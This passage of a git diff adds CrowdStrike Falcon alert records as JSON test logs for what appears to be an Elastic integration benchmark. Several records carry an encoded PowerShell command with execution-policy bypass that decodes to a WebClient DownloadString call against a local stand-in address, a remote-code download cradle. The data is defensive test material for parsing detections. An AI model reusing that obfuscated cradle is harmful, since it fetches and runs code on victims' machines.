nVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
+{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
new file mode 100644
index 0000000000..c2a5a0f28b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
@@ -0,0 +1,11 @@
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain 